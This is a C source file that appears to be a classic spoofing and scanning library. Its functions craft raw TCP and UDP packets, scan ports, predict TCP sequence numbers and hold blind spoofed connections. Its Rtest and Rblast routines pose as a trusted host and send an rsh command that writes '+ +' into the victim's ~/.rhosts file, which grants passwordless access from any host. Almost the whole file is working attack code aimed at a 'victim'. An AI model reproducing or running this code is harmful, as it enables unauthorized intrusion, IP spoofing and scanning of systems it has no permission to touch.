/* w00w00! */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_tcp.h>
#include <netinet/udp.h>

#define  ERROR         -1

#define  IPHDRSIZE     sizeof(struct iphdr)
#define  ICMPHDRSIZE   sizeof(struct icmphdr)
#define  TCPHDRSIZE    sizeof(struct tcphdr)
#define  PSEUDOHDRSIZE sizeof(struct pseudohdr)
#define  UDPHDRSIZE    sizeof(struct udphdr)

/****************************************************************************/
/* structure of the pseudo header                                           */
/****************************************************************************/

struct pseudohdr {
    unsigned long saddr;
    unsigned long daddr;
    unsigned char protocol;
    unsigned int  leng;
    char useless;
};

struct nnn { u_long ip; } myip;
                                                                
struct s_hdr {
  __u32 s_ack:32;
  __u32 s_seq:32;
  __u32 s_da_ip:32;
  __u32 s_ip:32;
  __u16 s_sport:16;
  __u16 s_dport:16;
} spoof_hdr;



#ifdef SYSV
#define bcopy(s1,s2,len) memcpy(s2,s1,len)
#endif

/****************************************************************************/
/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
/****************************************************************************/

unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft  = len;
    register u_short *w = addr;
    register int sum    = 0;
    u_short answer      = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum   += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits        */
    sum    = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum   += (sum >> 16);                  /* add carry           */
    answer = ~sum;                         /* truncate to 16 bits */
    return(answer);
}


/****************************************************************************/
/*                          SEND A PAKET TCP!                               */
/*                                                                          */
/*  usage: send_pkt(socket, ip of source, ip of dest, source port, dest     */
/*                  port, flags, seq_num, ack_num, window size, *data,      */
/*		    size of data);                                          */
/*									    */
/****************************************************************************/

void send_pkt(s, s_ip, d_ip, s_port, d_port, flags, seq_num, ack_num,
              winsize, data, data_size)
   int s;
   unsigned long s_ip;
   unsigned long d_ip;
   unsigned int  s_port;
   unsigned int  d_port;
   unsigned char flags;
   unsigned long seq_num;
   unsigned long ack_num;
   unsigned int  winsize;
   unsigned char *data;
   unsigned int  data_size;

{
   struct   sockaddr_in sin_dst;
   struct   iphdr       *ip;
   struct   tcphdr      *tcp;
   struct   pseudohdr   *pseudo;
   unsigned char        *DATA;
   unsigned char        packet[2048];
   int i;
   
   ip     = (struct iphdr      *)packet;
   pseudo = (struct pseudohdr  *)(packet + IPHDRSIZE - PSEUDOHDRSIZE);
   tcp    = (struct tcphdr     *)(packet + IPHDRSIZE);
   DATA   = (unsigned char     *)(packet + IPHDRSIZE + TCPHDRSIZE);
   
   memset(packet, 0, 2048);                     
   memcpy(DATA, data, data_size);                                 
                                                 
   pseudo->saddr    = s_ip;
   pseudo->daddr    = d_ip;
   pseudo->useless  = 0;
   pseudo->protocol = 6;
   pseudo->leng     = htons(TCPHDRSIZE + data_size);
	                        
   tcp->th_sport    = htons(s_port);
   tcp->th_seq      = htonl(seq_num);
   tcp->th_ack      = htonl(ack_num);
   tcp->th_off      = 5;
   tcp->th_flags    = flags;
   tcp->th_win      = htons(winsize);
	
   tcp->th_urp=0;     
   tcp->th_dport    = htons(d_port );
   tcp->th_sum      = 0;
   tcp->th_sum      = in_cksum(pseudo, TCPHDRSIZE + PSEUDOHDRSIZE + data_size);
                 
   memset(packet, 0, IPHDRSIZE);
            
   ip->saddr        = s_ip;
   ip->daddr        = d_ip;
   ip->version      = 4;
   ip->ihl     	    = 5; 
   ip->ttl          = 245;
   ip->protocol     = 6; 
   ip->tot_len      = htons(IPHDRSIZE + TCPHDRSIZE + data_size);
   ip->tos          = 0;
   ip->id           = random() % 1256;
   ip->frag_off     = 0;
   ip->check        = 0;
   ip->check        = in_cksum(packet, IPHDRSIZE);
        	
   sin_dst.sin_addr.s_addr = ip->daddr;
   sin_dst.sin_family      = AF_INET;     
        
   i = sendto(s, packet, IPHDRSIZE + TCPHDRSIZE + data_size, 0,
             (struct sockaddr *)&sin_dst, sizeof(struct sockaddr)); 

   if (i == ERROR) {
	perror("sendto");
	exit(ERROR);
   }

}


/****************************************************************************/
/*                          SEND A UDP PACKET                               */
/* usage: udp_send(socket, addr of source, addr of dest, port source,       */
/*                 port of dest, *data, size of data);                      */
/****************************************************************************/

void udp_send(s, s_addr, d_addr, s_port, d_port, datagram, datasize)
    int s;
    unsigned long  s_addr;
    unsigned long  d_addr;
    unsigned short s_port;
    unsigned short d_port;
    char     *datagram;
    unsigned datasize;
{

  struct   sockaddr_in sin;
  struct   udphdr      *udp;
  struct   iphdr       *ip;
  unsigned char        *data;
  unsigned char        packet[1024];
  int i;

  ip     = (struct iphdr     *)packet; 
  udp    = (struct udphdr    *)(packet+IPHDRSIZE);
  data   = (unsigned char    *)(packet+IPHDRSIZE+UDPHDRSIZE);
       
  memset(packet, 0, 1024);

  udp->source  = htons(s_port); 
  udp->dest    = htons(d_port);
  udp->len     = htons(UDPHDRSIZE+datasize);
  memcpy(data, datagram, datasize);

  udp->check    = 0;         

  memcpy(data, datagram, datasize);
        
  memset(packet, 0, IPHDRSIZE);
        
  ip->saddr    = s_addr;
  ip->daddr    = d_addr;
  ip->version  = 4;
  ip->ihl      = 5;
  ip->ttl      = 245;
  ip->id       = random()%5985;
  ip->protocol = 17;
  ip->tot_len  = htons(IPHDRSIZE + UDPHDRSIZE + datasize);
  ip->check    = 0;
  ip->check    = in_cksum((char *)packet,IPHDRSIZE);
                                                                        
                                                                        

  sin.sin_family      = AF_INET;
  sin.sin_addr.s_addr = d_addr;
  sin.sin_port        = udp->dest;

  i = sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, 
            (struct sockaddr*)&sin, sizeof(struct sockaddr));

  if (i == ERROR) {
	perror("sendto");
	exit(ERROR);
  }

}


/****************************************************************************/
/*                          SEND A ICMP PACKET                              */
/*  icmp_echo(socket fd, source, destinatiton, id, sequence number, data,   */
/*            datasize);						    */
/****************************************************************************/
/* IN TEST !!!!!!!							    */
/*
void icmp_echo(s, src, dest, id, seq, data, datasize)
    int  s;
    unsigned long int src;
    unsigned long int dest;
    int  id;
    int  seq;
    char *data;
    unsigned int datasize;

{
  unsigned char        *packet;
  unsigned char        *icmpdata;
  struct   iphdr       *ip;
  struct   icmphdr     *icmp;
  struct   sockaddr_in sin_dst;
  int n;

  packet = (char *)malloc(IPHDRSIZE + ICMPHDRSIZE + datasize + 1);
  if (packet == NULL) {
	perror("malloc");
	exit(ERROR);
  }

  ip       = (struct iphdr   *)packet;
  icmp     = (struct icmphdr *)(packet + IPHDRSIZE);
  icmpdata = (char           *)(packet + IPHDRSIZE + ICMPHDRSIZE);

  ip->saddr    		 =  src;
  ip->daddr    		 =  dest;
  ip->version  		 =  4;
  ip->ihl      		 =  5;
  ip->ttl      		 =  255;
  ip->protocol 		 =  1;
  ip->tot_len  		 =  htons(IPHDRSIZE + ICMPHDRSIZE + datasize);
  ip->tos      		 =  0;
  ip->id       		 =  0;
  ip->frag_off 		 =  0;
  ip->check              =  0;
  ip->check              =  in_cksum(ip, IPHDRSIZE);
  icmp->type             =  8;
  icmp->code             =  0;
  icmp->checksum         =  0;
  icmp->un.echo.id       =  id;
  icmp->un.echo.sequence =  seq;
  memcpy(icmpdata, data, datasize);

  icmp->checksum          = in_cksum(icmp, ICMPHDRSIZE + datasize);

  sin_dst.sin_addr.s_addr = ip->daddr;
  sin_dst.sin_family      = AF_INET;

  n = sendto(s, packet, IPHDRSIZE + ICMPHDRSIZE + datasize, 0,
  	    (struct sockaddr*)&sin_dst, sizeof(struct sockaddr));

  if (n == ERROR) {
		perror("sendto");
		free(packet);
		exit(ERROR);
  }

  free(packet);
}
*/

/****************************************************************************/
/*                         TEST IF  A HOST IS ALIVE       		    */
/*                                                                          */
/* 		              Not implemented yet                           */
/****************************************************************************/ 


/****************************************************************************/
/*                   RECV PAKET			     		            */
/*  get_pkt(socket, *buffer, size of the buffer);                           */
/****************************************************************************/
int get_pkt(int s, unsigned char *data, int size)
{
  struct sockaddr_in sin;
  int len, resu;

  len = sizeof(sin);
  resu = recvfrom(s, data, size, 0, (struct sockaddr *)&sin, &len);
  if (resu == ERROR) {
	perror("recvfrom");
	exit(ERROR);
  }

  return resu;
}        
     
/****************************************************************************/
/*                     GET THE SEQ NUMBER                                   */
/*  get_seq (source ip, destination ip, source port)                        */
/****************************************************************************/

unsigned long get_seq(s_ip, d_ip, s_port)
  unsigned long s_ip; 
  unsigned long d_ip;
  unsigned int  s_port;

{
  struct   tcphdr       *tcp;
  struct   iphdr        *ip;
  unsigned char         data[400];
  unsigned long         ack_num = 0;

  int  s, s_r, S_port; 
  int  i = 1,  er;
  int  timeout = 0, on = 1;

  ip  = (struct iphdr  *)data;
  tcp = (struct tcphdr *)(data+IPHDRSIZE);
  memset(data, 0, 399);

  S_port = random() % 1000;

  if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR)  {
	perror("socket");
	exit(ERROR);
  }

  if ((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR)  {
	perror("socket");
	exit(ERROR);
  }

  if ((ioctl(s,   FIONBIO, &on)) == ERROR) {
	perror("ioctl");
	exit(ERROR);
  }

  if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
	perror("ioctl");
	exit(ERROR);
  }
   
  #ifdef IP_HDRINCL
  er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  if (er == ERROR) {
	perror("setsockopt");
	exit(ERROR);
  }
  #endif 

  send_pkt(s, s_ip, d_ip, S_port, s_port, TH_SYN, 1234, 0, 512, NULL, 0);

  while(timeout < 480) {
       get_pkt(s_r, data, 398);
             
       if(ip->saddr == d_ip) {
             if(tcp->th_dport == htons(S_port))
                  if(tcp->th_sport == htons(s_port))
                      if(tcp->th_flags & TH_ACK) {
                         printf(" Seq. num is %lu\n", ntohl(tcp->th_seq));
                         ack_num = ntohl(tcp->th_seq);
                         break;
                      } 
                     
             usleep(10000);
             timeout++;
       }
  }

  close(s);
  close(s_r);
  return ack_num;
} 

/****************************************************************************/
/*                     PORT PROBER                                          */
/* usage:  pprobe(ip of destination, port, flags)                           */
/****************************************************************************/

int pprobe(da_ip, port, flags)
   unsigned long da_ip;
   unsigned short int port; 
   int flags;
{
  struct    tcphdr       *tcp;
  struct    iphdr        *ip, *ipr;
  unsigned  char         data[400];
  unsigned  char         datar[400];
  int s, s_r, sicmp;
  int resu;
  int timeout = 0;
  int on = 1;
  int er, i;

  ip  = (struct iphdr  *)data;
  tcp = (struct tcphdr *)(data+IPHDRSIZE);
  ipr = (struct iphdr  *)data;

  memset(data, 0, 399);

  if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  if ((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  if ((sicmp = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {	
	perror("socket");
	exit(ERROR);
  }

  if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
	perror("ioctl");
	exit(ERROR);
  }

  if ((ioctl(sicmp, FIONBIO, &on)) == ERROR) {
	perror("ioctl");
	exit(ERROR);
  }

         
  #ifdef IP_HDRINCL
  er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  if (er == ERROR) {
	perror("setsockopt");
	exit(ERROR);
  }
  #endif
            

  send_pkt(s, myip.ip, da_ip, 2669, port, flags, 1234, 0, 512, NULL, 0);
  resu = -1;

  while(timeout < 80) {

	data[0]  = '0';
        datar[0] = '0';
        usleep(100000);

        timeout++;

        get_pkt(s_r,   data,  399);
        get_pkt(sicmp, datar, 399);

        if(datar[0] != '0') {
		resu = -1;
        	printf("ICMP!\n");
        	goto fin;
  	}

  	if(data[0] != '0') 
       	   if(ip->saddr == da_ip)
              if(tcp->th_dport == htons(2669))
                 if(tcp->th_sport == htons(port)) {
                     resu = (tcp->th_flags |  TH_ACK);
                     if(resu==18)resu = 0;    
                     if(resu==20)resu = -1;
                     break;   
                 }
             
              
     
  }

  fin:
    if (timeout > 79) printf(" Time Out");

  close(s);
  close(s_r);
  close(sicmp);
  return resu;
}          

/*****************************************************************************/
/* pprobeS (ip victim, flags, FILE files, port limit)                        */
/*****************************************************************************/

int pprobeS(da_ip, flags, files, limit)
	unsigned long da_ip;
	int flags;
	FILE *files;
	u_int limit;
{
  struct   tcphdr       *tcp;
  struct   iphdr        *ip, *ipr;
  unsigned char         data[400], datar[400];
  int   s, s_r, sicmp;
  int   resu;
  int   timeout = 0;
  int   i       = 1;
  u_int lim     = 0;
  int er;

  bzero(data, 400);

  ip  = (struct iphdr  *)data;
  tcp = (struct tcphdr *)(data + IPHDRSIZE);
  ipr = (struct iphdr  *)data;


  if ((s =  socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  if((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  if ((sicmp = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  /* ioctl(s_r,FIONBIO,&on);   */
  /* ioctl(sicmp,FIONBIO,&on); */

         
  #ifdef IP_HDRINCL
  er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  if (er == ERROR) {
	perror("setsockopt");
	exit(ERROR);
  }
  #endif
            
  resu = -1;
  lim  =  1;

  while(lim < limit) {
	send_pkt(s, myip.ip, da_ip, 2669, lim, flags, 1234, 0, 
                 512, NULL, 0);

	data[0] = '0', datar[0] = '0';  

	get_pkt(s_r, data , 399);
        
   	if(data[0] != '0')
           if(ip->saddr == da_ip)
              if(tcp->th_dport == htons(2669))
                 if(tcp->th_sport != htons(2669)) {                    
                         resu = (tcp->th_flags | TH_ACK);
                         if(resu == 18) {
         	            printf("the port %d is open!\n", 
				ntohs(tcp->th_sport));
                   	    fprintf(files,"%d\n", ntohs(tcp->th_sport));
                     	    fflush(files); 
                      	    goto fin;
                         } 
                 }
    
	fin:
    	lim++;
  }

  if (timeout > 79) printf(" Time Out");

  close(s);
  close(s_r);
  close(sicmp);
  return resu;
}          



                                                                               
/****************************************************************************/
/*                       UDP PORT PROBER                                    */
/* usage: Upprobe(ip of destination, port)                                  */
/****************************************************************************/

int Upprobe(unsigned long da_ip, unsigned short int port)
{
  struct   sockaddr_in  sin_dst;
  struct   icmphdr      *icmp;
  struct   iphdr        *ip;
  unsigned char         data[400];
  int  s, s_r;
  int  i = 0;
  int  resu;

  ip  =  (struct iphdr   *)data;
  icmp = (struct icmphdr *)(data+IPHDRSIZE);
  memset(data, 0, 399);

  if ((s = socket(AF_INET, SOCK_DGRAM, 17)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  if ((ioctl(s, FIONBIO, &i)) == ERROR) {
	perror("ioctl");
	exit(ERROR);
  }

  sin_dst.sin_family      = AF_INET;
  sin_dst.sin_port        = htons(port);
  sin_dst.sin_addr.s_addr = da_ip;
  sendto(s, NULL, 0, 0, (struct sockaddr *)&sin_dst, sizeof(sin_dst));

  if ((s_r = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  i = 1;

  if ((ioctl(s_r, FIONBIO, &i)) == ERROR) {
	perror("ioctl");
	exit(ERROR);
  }
          
  resu = -1;  

  while (1) {
	data[0] = '0';
	get_pkt(s_r, data, 399);

	if(data[0] != '0') { 
 	   printf(" ???\n");
   	   if(ip->saddr == da_ip)
    	      if(ip->protocol == 1) {
                  resu = 0;     
                  goto fin;
              } else
        	  resu = -1;
        }  
  }

  fin:
    return resu;

} 
         
/****************************************************************************/
/*                     Make a spoofed connection                            */
/*                                                                          */
/* usage(socket, source ip, destination ip, source port, destination port,  */
/*       your ip) 						            */
/****************************************************************************/

int Sconnect(s, s_ip, d_ip, s_port, d_port, myhost)
    int s;
    unsigned long  s_ip;
    unsigned long  d_ip;
    unsigned short int s_port;
    unsigned short int d_port;
    unsigned long  myhost;

{ 

  int loop;

  spoof_hdr.s_seq   = 1;
  spoof_hdr.s_da_ip = d_ip;
  spoof_hdr.s_ip    = s_ip;
  spoof_hdr.s_sport = s_port;
  spoof_hdr.s_dport = d_port;
  spoof_hdr.s_ack   = get_seq(myhost, d_ip, d_port);

  if(spoof_hdr.s_ack == 0) {
	printf(" Too Slow\n");
	return(2);
  }

  send_pkt(s, s_ip, d_ip, s_port, d_port, TH_SYN, spoof_hdr.s_seq, 
	   1, 512, NULL, 0);

  for(loop = 1; loop < 8; loop++) {
	spoof_hdr.s_seq = spoof_hdr.s_seq;
	printf(" spoof ack +64000 * %d + 1 = %lu\n",
		loop, (u_long) spoof_hdr.s_ack + (64000 * loop) + 1);
	send_pkt(s, s_ip, d_ip, s_port, d_port, TH_ACK, spoof_hdr.s_seq + 1, 
		 spoof_hdr.s_ack + (64000 * loop) + 1, 14360, NULL, 0); 
  }
 
  spoof_hdr.s_seq++;
  return(0);
}

/****************************************************************************/
/*               Spoofed write  (need to use Sconnect before this)          */
/* usage:  Swrite (socket, *data, size of data );                           */
/****************************************************************************/


void Swrite(int s, u_char *data, int size)
{
  int loop;

  for(loop = 1; loop < 8; loop++) {
	send_pkt(s, spoof_hdr.s_ip, spoof_hdr.s_da_ip, spoof_hdr.s_sport, 
	         spoof_hdr.s_dport, (TH_PUSH|TH_ACK), spoof_hdr.s_seq, 
	         spoof_hdr.s_ack + (64000 * loop) + 1, 14360, data, size);
  }

  spoof_hdr.s_seq = spoof_hdr.s_seq+size;
}   


/****************************************************************************/
/* Spoofed write 2							    */
/* usage: Swrites(s, *data);					            */
/****************************************************************************/
void Swrites(int s, char *data)
{
	int size;
	size = strlen(data);
	Swrite(s, data, size);
}


/****************************************************************************/
/* RESET CONNETION							    */
/****************************************************************************/
 
void Srst(int s)
{
  int loop;

  for(loop = 1; loop < 8; loop++) {
	send_pkt(s,spoof_hdr.s_ip,  spoof_hdr.s_da_ip,
                 spoof_hdr.s_sport, spoof_hdr.s_dport,
                 TH_FIN, spoof_hdr.s_seq, spoof_hdr.s_ack +
		 (64000 * loop) + 1, 14360, NULL, 0);
  }

  for(loop=1; loop < 8; loop++) {
	send_pkt(s, spoof_hdr.s_ip, spoof_hdr.s_da_ip, spoof_hdr.s_sport,
	         spoof_hdr.s_dport, TH_ACK, spoof_hdr.s_seq, 
		 spoof_hdr.s_ack + (64000 * loop) + 1, 14360, NULL, 0);

  }

}   


/****************************************************************************/
/*           Test if a host is spoofable                                    */
/* usage: Stest (myhost,ip dest , port of dest);                            */
/****************************************************************************/

int Stest(unsigned long myhost, unsigned long ip_d, unsigned short d_port)
{
  u_long resu;
  u_long resu1;
  u_long resu2;
  u_long resu3;
  int done = -1;


  resu   = get_seq(myhost, ip_d, d_port);
  resu1  = get_seq(myhost, ip_d, d_port);
  resu2  = get_seq(myhost, ip_d, d_port);
  resu3  = get_seq(myhost, ip_d, d_port);


  if(((resu1 - resu)  == 64000) || ((resu1 - resu)  == 128000)) done = 0;
  if(((resu3 - resu2) == 64000) || ((resu3 - resu2) == 128000)) done = 0;
 
  return  done;

}

/****************************************************************************/
/*    get the ip from a host -l ouput file                                  */
/* usage: IPFILES( *the src file, *the output file);                        */
/****************************************************************************/

void IPFILES(FILE *DA, FILE *trace)
{
  char ipz[256];
  int oki;

  while(!feof(DA)) {                
     int size;

     fscanf(DA , "%s", ipz);  
      
     size = strspn(ipz, "aAeEiIoOuUyYgG");
     if (size <= 0) oki = 1;

     if(oki == 1) {  
        fprintf(trace, "%s\n", ipz );
        fflush(trace);
        oki = 0;
     }
          
     if(feof(DA)) break;
        
  }

}
 
/****************************************************************************/
/*                  Do a port scan					    */
/*  Scan2(int *input, int *output, size of *, flags, ip);  		    */
/****************************************************************************/

void Scan2(int *ptr, int *outptr, int Size, int flags, u_long da_ip)
{ 
  int s, i = 1, s_r, resu, timeout = 0, try = 0, on = 1;

  struct   tcphdr *tcp, *tcpr;
  struct   iphdr  *ip,  *ipr;

  unsigned char   data[400];
  unsigned char   datar[400];

  ip  = (struct iphdr  *)data;
  tcp = (struct tcphdr *)(data+IPHDRSIZE);
  ipr = (struct iphdr  *)datar;
  tcpr= (struct tcphdr *)(datar+IPHDRSIZE);

  memset(outptr, 0, (Size / 2));
  memset(data, 0, 399);

  if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  if ((s_r = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }
         
  #ifdef IP_HDRINCL
  if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) 
			== ERROR) {
	perror("setsockopt");
	exit(ERROR);
  }
  #endif
            

  while(timeout < 540) {
	  data[0]  = '0';
  	  datar[0] = '0';

	  usleep(10000);

	  timeout = timeout + 1;

          if(try < Size)
	     if(*(ptr + try) != 0) 
		send_pkt(s, myip.ip, da_ip, 40000 - try, *(ptr + try), flags,
		         1234, 0, 512, NULL, 0);

	  get_pkt(s_r, datar, 399);

	  if(datar[0] != '0')
  	     if(ipr->saddr == da_ip)
		if(ntohs(tcpr->th_dport) > 39000) {   
                   resu = (tcpr->th_flags | TH_ACK);
                   if(resu == 18) {
	               *(outptr + (40000 - ntohs(tcpr->th_dport))) = 1;
               	       printf("The port %i responded :)\n",
				ntohs(tcpr->th_sport));
               	       resu = 0;
                       datar[0] = '0';
                   }
                }      

          try++;
  }   
} 


/****************************************************************************/
/*  Rtest a function for test the permission of R* service                  */
/*  Rtest(ip of victim, port, *remote user, *local user);		    */
/****************************************************************************/

int Rtest(u_long ip, int port, char *Ruser, char *Luser)
{
  struct sockaddr_in adresse_serveur,adresse_client;
  char   bla[2000], cmd[200], *cmdptr;
  char   exe[200] = "echo \" + + \" >> ~/.rhosts";
  int    socket_client, err, res;
  int    longueur = sizeof(struct sockaddr_in);

  bzero(bla, 2000);
  bzero(cmd, 200);
  cmdptr = cmd;

  if(port == 514) {
	
	if((socket_client = socket(AF_INET, SOCK_STREAM, 6)) == ERROR) {
		perror("socket");
		exit(ERROR);
        }
 
	adresse_client.sin_family      = AF_INET;
	adresse_client.sin_addr.s_addr = htonl(INADDR_ANY);
	adresse_client.sin_port        = htons(764 + 1 +(100.0 * rand() / 
						       (RAND_MAX + 1.0)));
        printf("port %i\n", ntohs(adresse_client.sin_port));
 
        res = bind(socket_client, (struct sockaddr *)&adresse_client, 
		   longueur);

        if (res == ERROR) {
		perror("bind");
		close(socket_client);
		exit(ERROR);
	}

	adresse_serveur.sin_family      = AF_INET;
	adresse_serveur.sin_port        = htons(514);
	adresse_serveur.sin_addr.s_addr = ip;

	res = connect(socket_client,(struct sockaddr *)&adresse_serveur, 
		      longueur); 

        if (res == ERROR) {
           perror("connect");
           close(socket_client);
           exit(ERROR);
        }

	if (send(socket_client, "0\0", 2, 0) == ERROR) {
		perror("send");
		close(socket_client);
		exit(ERROR);
	}	

	strcat(cmd, Luser);
	if (send(socket_client, cmd, strlen(Luser) + 1, 0) == ERROR) {
		perror("send");
		close(socket_client);
		exit(ERROR);
	}	

	bzero(cmd, 400);
	cmdptr = cmd;
	strcat(cmdptr, Ruser);
	cmdptr = cmdptr + strlen(Ruser) + 1;
	strcat(cmdptr, exe);	
	
	res = send(socket_client, cmd, strlen(Ruser) + strlen(exe) + 2, 0);

	if (res == ERROR) {
		perror("send");
		close(socket_client);
		exit(ERROR);
        }
        
	if ((read(socket_client, bla, 200)) == ERROR) {
		perror("read");
		close(socket_client);
		exit(ERROR);
	}

        printf("%s\n",bla);
	
        if (strstr(bla, "nied") || strstr(bla, "inc")) { 
	     close(socket_client);
	     err = -1;
	} else 
		err = 0;

	close(socket_client);	
	return (err);
  }

  close(socket_client);	
  return (err);

}



/****************************************************************************/
/*           Rblast - a function for try the RSH spoofing                   */
/* Rblast(ip trust, ip of victim, your ip, source port, local user,         */
/*        remote user)							    */
/****************************************************************************/ 

void Rblast(s_ip, d_ip, my_ip, port, Luser, Ruser)
    u_long s_ip;
    u_long d_ip;
    u_long my_ip; 
    int    port;
    char   *Luser; 
    char   *Ruser;
{        

  char  bla[] = "echo \"+ +\" >> ~/.rhosts";
  char  cmd[512];
  int   s, s_r;
 
  int   i = 1;
  char  *cmdptr;

       
  if ((s_r=socket(AF_INET,SOCK_RAW,6)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  if ((s=socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
	perror("socket");
	close(s_r);
	exit(ERROR);
  }

  #ifdef IP_HDRINCL
  if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) 
		== ERROR) {
              fprintf(stderr, "cant set IP_HDRINCL\n");
              close(s);
              exit(0); 
  }
  #endif

                                         

 cmdptr = cmd;
 strcat(cmdptr, "0\0");
 cmdptr = cmdptr + 2;
 strcat(cmdptr, Luser);
 cmdptr = cmdptr + strlen(Luser) + 1;
 strcat(cmdptr, Ruser);
 cmdptr = cmdptr + strlen(Ruser) + 1;
 strcat(cmdptr, bla);
 cmdptr=cmdptr + strlen(bla) + 1;

 printf("make spoof connection ...\n");
 printf("%s@%s --> ", Luser, (char *)inet_ntoa(s_ip));
 printf("%s@%s\n",    Ruser, (char *)inet_ntoa(d_ip));        

 Sconnect(s, s_ip, d_ip, port, 514, my_ip);

 printf("send the spoof rsh... \n");
 Swrite(s, cmd, strlen(Luser) + strlen(Ruser) + strlen(bla) + 2 + 3);
 Srst(s); 

 close(s);

}